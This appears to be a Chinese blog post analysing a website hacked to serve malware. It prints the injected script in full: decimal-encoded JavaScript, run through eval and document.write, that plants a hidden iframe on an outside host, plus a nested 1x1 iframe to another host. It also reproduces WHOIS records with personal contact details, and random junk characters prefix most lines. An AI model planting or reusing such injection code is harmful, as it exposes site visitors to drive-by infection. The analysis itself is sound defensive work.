首发在我的博客里面，
ZK4d;oa", c$8M} q:X http://www.areway.cn/?p=175 4*&2D-8<K Tg@:mw5 xyrlR;Sk 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
SUb:0GUa ,Ma%"cWVC <script>t=’60,105,102,114,97,109,101,
NtG^t}V 32,115,114,99,61,104,116,116,112,58,47,47,
`D? &) Y 102,114,101,101,46,117,45,117,117,117,46,99,
q\G7T{t$. 110,47,101,114,114,111,114,46,104,116,109,
O %1uBc 32,119,105,100,116,104,61,49,48,48,32,104,
T( =Z0M 101,105,103,104,116,61,48,62,60,47,105,102,
V` 4/oM` 114,97,109,101,62′;
sZ> 0*S t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
6Qn};tbnD 9>6?tb"f*H <script>t=’60,105,102,114,97,109,101,32,115,
?$6(@>`f&t 114,99,61,104,116,116,112,58,47,47,102,114,
] 1s6= 101,101,46,117,45,117,117,117,46,99,110,47,
Xd@ d$ 101,114,114,111,114,46,104,116,109,32,119,
v[4-?7- 105,100,116,104,61,49,48,48,32,104,101,105,
/^9=2~b 103,104,116,61,48,62,60,47,105,102,114,97,
?/fC"MJq? 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
,R}9n@JI^Y document.write(t);</script>
97pfMk1_ wz{&0-md*' <html xmlns=”
s dBB ( http://www.w3.org/1999/xhtml 8^pu C “>
2f5YkmGc"; <head>
f&I5bPS7} <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
iBk1QRdn <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
#'5{
?C b <title>首页 - 爱生活家庭网
629ogJo8 &3|l4R\ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
(z:qj/| 转换字符串后的大概内容是（谁点击后果自付）：
wln"g,ct <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
/], 9 N +yx L}=4s 查询玉米u-uuu.cn的详细信息：
+W"DN5UV Domain Name: u-uuu.cn
BUUc9&f3o ROID: 20070901s10001s64972306-cn
-#Jp@6'k% Domain Status: ok
lvH} 8 lJ Registrant Organization: 王雷
G4^6o[ x Registrant Name: 王雷
i|xC#hV Administrative Email:
czlovexs@126.com !
Q8y]9O Sponsoring Registrar: 北京万网志成科技有限公司
L5 wR4Ue) Name Server:ns.yovole.com
P@0J! Name Server:ns1.yovole.com
GK[9Cm"v Registration Date: 2007-09-01 17:54
pHKc9VC Expiration Date: 2008-09-01 17:54
hm 0MO,i" 最后PING了一下地址 都没有什么….
~{ucr#]C FK @Gd)( 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
Mu@(^z W <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
WJ/X`?k <script language=”javascript” src=”
K}vYE7 n: http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 4t 0p!IxG >
M9.FtQhK/ 这个玉米应该有可能是木马作者的：
i,mZg+;w foafau.info的详细信息：
Uka(Vr: Access to INFO WHOIS information is provided to assist persons in
q b$M.-\ne determining the contents of a domain name registration record in the
$U"pdf Afilias registry database. The data in this record is provided by
W)AfXy
Afilias Limited for informational purposes only, and Afilias does not
:)F0~Q guarantee its accuracy. This service is intended only for query-based
'>GPk5Nq77 access. You agree that you will use this data only for lawful purposes
Q[9W{l+ and that, under no circumstances will you use this data to: (a) allow,
y?UB?2 VN enable, or otherwise support the transmission by e-mail, telephone, or
mZ g' facsimile of mass unsolicited, commercial advertising or solicitations
i.gag b to entities other than the data recipient’s own existing customers; or
'u9y\vUy (b) enable high volume, automated, electronic processes that send
9?uU%9r5P queries or data to the systems of Registry Operator, a Registrar, or
U lPhW~F) Afilias except as reasonably necessary to register domain names or
y;f nC5Q modify existing registrations. All rights reserved. Afilias reserves
r` sG! the right to modify these terms at any time. By submitting this query,
X Hm6K1mGZ you agree to abide by this policy.
De\Ocxx Domain ID:D22418703-LRMS
kBtzJ#j B Domain Name:FOAFAU.INFO
63VgQ Created On:20-Nov-2007 16:05:42 UTC
IeAi ' Last Updated On:20-Nov-2007 16:05:44 UTC
C3KAQ U Expiration Date:20-Nov-2008 16:05:42 UTC
n2Y a'YF Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
N7!(4|14 Status:CLIENT DELETE PROHIBITED
"(iQ-g Mm Status:CLIENT RENEW PROHIBITED
"}b/[U@> Status:CLIENT TRANSFER PROHIBITED
AG|:mQO Status:CLIENT UPDATE PROHIBITED
!O4)Y M Status:TRANSFER PROHIBITED
TiK fIv Registrant ID:GODA-040110615
LC qWL 1 Registrant Name:liu hong
S& F;~ Registrant Organization:
x_- SAyH Registrant Street1:beijing
t')%; N Registrant Street2:
>VJ"e` Registrant Street3:
QO %;%p* Registrant City:beijing
,L; y>::1 Registrant State/Province:
C?]+(P Registrant Postal Code:100000
7>3+]njw Registrant Country:CN
%<1_\N7 Registrant Phone:+86.860108888777
WH<\ f |xR Registrant Phone Ext.:
YoSBS Registrant FAX:
X$=/H 6R5Z Registrant FAX Ext.:
]+Z,HY@;- Registrant Email:bbbshiji@163.com
>+@EU) Admin ID:GODA-240110615
sW&h?jdf Admin Name:liu hong
& X,6 v Admin Organization:
B;t{IYhq{ Admin Street1:beijing
(d['f]S+& Admin Street2:
(Ft#6oK " Admin Street3:
U%)*I~9 Admin City:beijing
[j?<& ^SW Admin State/Province:
lt%9Zgr[u Admin Postal Code:100000
ctR ^"'u Admin Country:CN
7)BK&kpVr Admin Phone:+86.860108888777
c1<jY~U Admin Phone Ext.:
Sc:)H2k`$ Admin FAX:
1cV0TUrz Admin FAX Ext.:
Y]Zp[! Admin Email:bbbshiji@163.com
UPkc-^BN Billing ID:GODA-340110615
V]/ $ dJ Billing Name:liu hong
:/6u* HwZh Billing Organization:
>f p_$bjd Billing Street1:beijing
VqS1n Billing Street2:
VP^{-mDph Billing Street3:
o97*3W] Billing City:beijing
vb$i00? Billing State/Province:
{w ]L'0ES[ Billing Postal Code:100000
J"fv5{ Billing Country:CN
A",R 2d Billing Phone:+86.860108888777
Wqe0m_7 Billing Phone Ext.:
" t,Z O Billing FAX:
,D' bIk Billing FAX Ext.:
@DlN;r ?Cv Billing Email:bbbshiji@163.com
rEj Ez+wu Tech ID:GODA-140110615
A bB+<0 Tech Name:liu hong
0QBK(_O` Tech Organization:
^39 ?@xc@ Tech Street1:beijing
G%T<wKD< Tech Street2:
Bpv"qU7 Tech Street3:
gH0Rd
WX Tech City:beijing
_8wT4|z5 Tech State/Province:
EE*FvI` Tech Postal Code:100000
X3l6b+p Tech Country:CN
rfO rh^ Tech Phone:+86.860108888777
yJ!,>OQ%' Tech Phone Ext.:
<o@__l. Tech FAX:
8O0]hz Tech FAX Ext.:
NZ- 57Ji Tech Email:bbbshiji@163.com
h_B
nQZ\ Name Server:NS27.DOMAINCONTROL.COM
Efu/v< Name Server:NS28.DOMAINCONTROL.COM
|9mGX9 q Name Server:
C^!~WFy Name Server:
k>#-NPU$ Name Server:
u+ 8wBb5! Name Server:
5yf`3vV|3@ Name Server:
b7HT<$Wg Name Server:
uf`/-jY Name Server:
wpOM~!9R Name Server:
@" afEMd Name Server:
zS `>65}e Name Server:
> (W\Eh{J Name Server:
E :UJ"6 j:0<
tj E 接着下载每个文件里面的代码：
~(eD 4" 一步一步看..
vH@b 
G4"n`89LK 
Se [>z( 
k!!d2y6 
L/,M@1@R 
tw<}7l_>Au 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
